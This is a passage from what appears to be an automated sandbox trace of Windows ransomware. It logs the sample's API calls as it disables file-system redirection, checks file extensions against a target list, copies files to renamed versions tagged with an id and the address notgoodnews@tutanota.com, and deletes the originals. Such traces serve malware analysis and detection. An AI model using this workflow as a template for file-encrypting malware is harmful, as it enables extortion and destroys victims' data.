returned 0x102 [0080.546] GetTickCount () returned 0x1154ff1 [0080.546] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0080.984] GetTickCount () returned 0x11551a7 [0080.984] GetTickCount () returned 0x11551a7 [0080.984] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0081.397] GetTickCount () returned 0x115534c [0081.397] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0081.853] GetTickCount () returned 0x1155512 [0081.853] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0082.458] GetTickCount () returned 0x1155773 [0082.458] GetTickCount () returned 0x1155773 [0082.458] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0083.175] GetTickCount () returned 0x1155a32 [0083.175] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0083.797] GetTickCount () returned 0x1155ca3 [0083.797] GetTickCount () returned 0x1155ca3 [0083.797] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0084.553] GetTickCount () returned 0x1155fa1 [0084.553] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0085.461] GetTickCount () returned 0x115632b [0085.461] GetTickCount () returned 0x115632b [0085.461] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0085.987] GetTickCount () returned 0x115653e [0085.987] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0086.396] GetTickCount () returned 0x11566e4 [0086.396] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0086.880] GetTickCount () returned 0x11568c8 [0086.880] GetTickCount () returned 0x11568c8 [0086.880] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0087.412] GetTickCount () returned 0x1156adc [0087.412] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0087.740] GetTickCount () returned 0x1156c24 [0087.740] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0088.203] GetTickCount () returned 0x1156de9 [0088.203] GetTickCount () returned 0x1156de9 [0088.203] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0088.631] GetTickCount () returned 0x1156f9e [0088.631] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0089.030] GetTickCount () returned 0x1157125 [0089.030] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0089.679] GetTickCount () returned 0x11573b5 [0089.679] GetTickCount () returned 0x11573b5 [0089.679] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0090.383] GetTickCount () returned 0x1157665 [0090.383] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0090.723] GetTickCount () returned 0x11577bd [0090.723] GetTickCount () returned 0x11577bd [0090.723] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0090.948] GetTickCount () returned 0x11578a7 [0090.948] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0091.406] GetTickCount () returned 0x1157a6c [0091.413] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0091.653] GetTickCount () returned 0x1157b66 [0091.653] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0092.077] GetTickCount () returned 0x1157d0c [0092.077] GetTickCount () returned 0x1157d0c [0092.077] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0092.259] GetTickCount () returned 0x1157db8 [0092.259] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0092.738] GetTickCount () returned 0x1157f9c [0092.738] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0093.293] GetTickCount () returned 0x11581cf [0093.293] GetTickCount () returned 0x11581cf [0093.293] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0093.626] GetTickCount () returned 0x1158317 [0093.626] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0093.973] GetTickCount () returned 0x115846f [0093.973] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) Thread: id = 8 os_tid = 0xd38 [0060.654] GetTickCount () returned 0x115024e [0060.654] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x24) returned 0x4a56e0 [0060.654] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4a56e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28c [0060.655] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4a56e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x290 [0060.655] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4a56e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x294 [0060.656] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4a56e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x298 [0060.656] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e88d8 [0060.656] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e88d8, Size=0x20) returned 0x4ced38 [0060.656] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e8968 [0060.656] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e8968, Size=0x20) returned 0x4ceb58 [0060.657] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76750000 [0060.657] GetProcAddress (hModule=0x76750000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76766b30 [0060.657] Wow64DisableWow64FsRedirection (in: OldValue=0x299ff7c | out: OldValue=0x299ff7c*=0x0) returned 1 [0060.657] lstrlenW (lpString="kernel32.dll") returned 12 [0060.657] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ced38 | out: hHeap=0x490000) returned 1 [0060.657] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0060.657] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ceb58 | out: hHeap=0x490000) returned 1 [0060.657] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x51cf50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29c [0060.657] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0060.773] GetTickCount () returned 0x11502bb [0060.773] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0061.093] GetTickCount () returned 0x1150404 [0061.093] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0061.561] GetTickCount () returned 0x11505d8 [0061.561] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0061.761] GetTickCount () returned 0x11506a3 [0061.761] GetTickCount () returned 0x11506a3 [0061.761] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0063.337] GetTickCount () returned 0x1150cce [0063.337] GetTickCount () returned 0x1150cce [0063.337] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0063.777] GetTickCount () returned 0x1150e83 [0063.777] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0064.355] GetTickCount () returned 0x11510c5 [0064.356] GetTickCount () returned 0x11510c5 [0064.356] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0064.771] GetTickCount () returned 0x115125b [0064.771] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0065.473] GetTickCount () returned 0x115151b [0065.473] GetTickCount () returned 0x115151b [0065.473] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0067.017] GetTickCount () returned 0x1151b25 [0067.017] GetTickCount () returned 0x1151b25 [0067.017] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0067.841] GetTickCount () returned 0x1151e62 [0067.841] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0068.476] GetTickCount () returned 0x11520d3 [0068.476] GetTickCount () returned 0x11520d3 [0068.476] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0069.137] GetTickCount () returned 0x1152372 [0069.137] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0071.007] GetTickCount () returned 0x1152ac5 [0071.007] GetTickCount () returned 0x1152ac5 [0071.007] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0071.695] GetTickCount () returned 0x1152d75 [0071.695] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0072.320] GetTickCount () returned 0x1152fe6 [0072.320] GetTickCount () returned 0x1152fe6 [0072.320] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0072.883] GetTickCount () returned 0x1153218 [0072.883] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0073.718] GetTickCount () returned 0x1153555 [0073.718] GetTickCount () returned 0x1153555 [0073.718] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0074.249] GetTickCount () returned 0x1153768 [0074.249] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0074.824] GetTickCount () returned 0x11539aa [0074.824] GetTickCount () returned 0x11539aa [0074.824] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0075.247] GetTickCount () returned 0x1153b50 [0075.247] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0075.509] GetTickCount () returned 0x1153c59 [0075.509] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0075.791] GetTickCount () returned 0x1153d73 [0075.792] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0076.084] GetTickCount () returned 0x1153e8c [0076.084] GetTickCount () returned 0x1153e8c [0076.084] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0076.465] GetTickCount () returned 0x1154003 [0076.468] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0077.020] GetTickCount () returned 0x1154245 [0077.020] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0077.549] GetTickCount () returned 0x1154449 [0077.549] GetTickCount () returned 0x1154449 [0077.549] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0078.169] GetTickCount () returned 0x11546ba [0078.169] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0078.663] GetTickCount () returned 0x115489e [0078.663] GetTickCount () returned 0x115489e [0078.663] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0079.084] GetTickCount () returned 0x1154a44 [0079.084] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0079.480] GetTickCount () returned 0x1154bcb [0079.481] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0079.677] GetTickCount () returned 0x1154c96 [0079.677] GetTickCount () returned 0x1154c96 [0079.677] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0080.033] GetTickCount () returned 0x1154ded [0080.033] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0080.545] GetTickCount () returned 0x1154ff1 [0080.546] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0080.984] GetTickCount () returned 0x11551a7 [0080.984] GetTickCount () returned 0x11551a7 [0080.984] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0081.397] GetTickCount () returned 0x115534c [0081.397] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0081.854] GetTickCount () returned 0x1155512 [0081.854] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0082.458] GetTickCount () returned 0x1155773 [0082.458] GetTickCount () returned 0x1155773 [0082.458] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0083.175] GetTickCount () returned 0x1155a32 [0083.175] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0083.793] GetTickCount () returned 0x1155ca3 [0083.797] GetTickCount () returned 0x1155ca3 [0083.797] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0084.553] GetTickCount () returned 0x1155fa1 [0084.553] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0085.461] GetTickCount () returned 0x115632b [0085.461] GetTickCount () returned 0x115632b [0085.461] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0085.987] GetTickCount () returned 0x115653e [0085.987] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0086.396] GetTickCount () returned 0x11566e4 [0086.396] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0086.880] GetTickCount () returned 0x11568c8 [0086.880] GetTickCount () returned 0x11568c8 [0086.880] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0087.412] GetTickCount () returned 0x1156adc [0087.412] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0087.740] GetTickCount () returned 0x1156c24 [0087.740] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0088.203] GetTickCount () returned 0x1156de9 [0088.203] GetTickCount () returned 0x1156de9 [0088.203] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0088.631] GetTickCount () returned 0x1156f9e [0088.631] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0089.030] GetTickCount () returned 0x1157125 [0089.030] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0089.679] GetTickCount () returned 0x11573b5 [0089.679] GetTickCount () returned 0x11573b5 [0089.679] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0090.383] GetTickCount () returned 0x1157665 [0090.383] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0090.723] GetTickCount () returned 0x11577bd [0090.723] GetTickCount () returned 0x11577bd [0090.723] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0090.948] GetTickCount () returned 0x11578a7 [0090.948] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0091.428] GetTickCount () returned 0x1157a7c [0091.428] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0091.653] GetTickCount () returned 0x1157b66 [0091.653] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0092.077] GetTickCount () returned 0x1157d0c [0092.077] GetTickCount () returned 0x1157d0c [0092.077] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0092.259] GetTickCount () returned 0x1157db8 [0092.259] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0092.716] GetTickCount () returned 0x1157f8d [0092.727] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0093.291] GetTickCount () returned 0x11581cf [0093.291] GetTickCount () returned 0x11581cf [0093.291] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0093.626] GetTickCount () returned 0x1158317 [0093.626] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0093.973] GetTickCount () returned 0x115846f [0093.973] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) Thread: id = 9 os_tid = 0xde0 [0060.841] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10000) returned 0x4f7720 [0060.842] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10000) returned 0x53ffb8 [0060.842] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e8ab8 [0060.842] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x6) returned 0x52e358 [0060.842] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e8b30 [0060.842] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x100000) returned 0x34e7020 [0060.846] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e8bc0 [0060.846] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e8bc0, Size=0x20) returned 0x4ced38 [0060.846] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e8c50 [0060.846] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e8c50, Size=0x20) returned 0x4ceba8 [0060.846] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76750000 [0060.846] GetProcAddress (hModule=0x76750000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76766b30 [0060.846] Wow64DisableWow64FsRedirection (in: OldValue=0x25dff50 | out: OldValue=0x25dff50*=0x0) returned 1 [0060.846] lstrlenW (lpString="kernel32.dll") returned 12 [0060.846] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ced38 | out: hHeap=0x490000) returned 1 [0060.846] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0060.846] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ceba8 | out: hHeap=0x490000) returned 1 [0060.847] Sleep (dwMilliseconds=0x64) [0061.210] lstrcmpiW (lpString1=".MARKER", lpString2=".NEWS") returned -1 [0061.210] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30 [0061.210] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0061.211] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=0) returned 1 [0061.211] CloseHandle (hObject=0x2fc) returned 1 [0061.211] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0061.211] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0061.211] lstrlenW (lpString=".doc") returned 4 [0061.212] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0061.212] lstrlenW (lpString=".docx") returned 5 [0061.212] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0061.212] lstrlenW (lpString=".pdf") returned 4 [0061.212] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0061.212] lstrlenW (lpString=".xls") returned 4 [0061.212] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0061.212] lstrlenW (lpString=".xlsx") returned 5 [0061.212] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0061.212] lstrlenW (lpString=".ppt") returned 4 [0061.212] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0061.212] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0061.212] lstrlenW (lpString=".zip") returned 4 [0061.212] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0061.212] lstrlenW (lpString=".rar") returned 4 [0061.212] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0061.212] lstrlenW (lpString=".bz2") returned 4 [0061.212] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0061.212] lstrlenW (lpString=".7z") returned 3 [0061.212] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0061.212] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0061.213] lstrlenW (lpString=".dbf") returned 4 [0061.213] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0061.213] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0061.213] lstrlenW (lpString=".1cd") returned 4 [0061.213] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0061.213] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0061.213] lstrlenW (lpString=".jpg") returned 4 [0061.213] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0061.213] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0061.213] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0061.213] lstrlenW (lpString=".doc") returned 4 [0061.213] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0061.213] lstrlenW (lpString=".docx") returned 5 [0061.213] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0061.213] lstrlenW (lpString=".pdf") returned 4 [0061.213] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0061.213] lstrlenW (lpString=".xls") returned 4 [0061.213] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0061.213] lstrlenW (lpString=".xlsx") returned 5 [0061.213] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0061.213] lstrlenW (lpString=".ppt") returned 4 [0061.213] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0061.213] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0061.213] lstrlenW (lpString=".zip") returned 4 [0061.213] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0061.213] lstrlenW (lpString=".rar") returned 4 [0061.213] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0061.214] lstrlenW (lpString=".bz2") returned 4 [0061.214] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0061.214] lstrlenW (lpString=".7z") returned 3 [0061.214] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0061.214] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0061.214] lstrlenW (lpString=".dbf") returned 4 [0061.214] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0061.214] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0061.214] lstrlenW (lpString=".1cd") returned 4 [0061.214] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0061.214] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0061.214] lstrlenW (lpString=".jpg") returned 4 [0061.214] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0061.214] Sleep (dwMilliseconds=0x64) [0061.657] Sleep (dwMilliseconds=0x64) [0061.885] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0061.885] lstrlenW (lpString="SetupResources.dll") returned 18 [0061.885] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0061.885] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=14168) returned 1 [0061.885] CloseHandle (hObject=0x31c) returned 1 [0061.886] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 0x80 [0061.886] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0061.886] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0061.886] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.886] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.886] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0061.886] GetLastError () returned 0x0 [0061.886] ReadFile (in: hFile=0x31c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x3758, lpOverlapped=0x0) returned 1 [0061.901] WriteFile (in: hFile=0x320, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x3760, lpOverlapped=0x0) returned 1 [0061.902] ReadFile (in: hFile=0x31c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0061.902] WriteFile (in: hFile=0x320, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xf8, lpOverlapped=0x0) returned 1 [0061.902] SetEndOfFile (hFile=0x320) returned 1 [0061.902] CloseHandle (hObject=0x320) returned 1 [0061.904] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.904] SetEndOfFile (hFile=0x31c) returned 1 [0061.904] CloseHandle (hObject=0x31c) returned 1 [0061.905] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0061.905] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 1 [0061.905] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0061.905] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0061.905] lstrlenW (lpString=".doc") returned 4 [0061.905] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0061.905] lstrlenW (lpString=".docx") returned 5 [0061.905] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0061.905] lstrlenW (lpString=".pdf") returned 4 [0061.905] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0061.905] lstrlenW (lpString=".xls") returned 4 [0061.905] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0061.905] lstrlenW (lpString=".xlsx") returned 5 [0061.905] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0061.905] lstrlenW (lpString=".ppt") returned 4 [0061.905] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0061.905] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0061.906] lstrlenW (lpString=".zip") returned 4 [0061.906] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0061.906] lstrlenW (lpString=".rar") returned 4 [0061.906] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0061.906] lstrlenW (lpString=".bz2") returned 4 [0061.906] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0061.906] lstrlenW (lpString=".7z") returned 3 [0061.906] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0061.906] lstrlenW 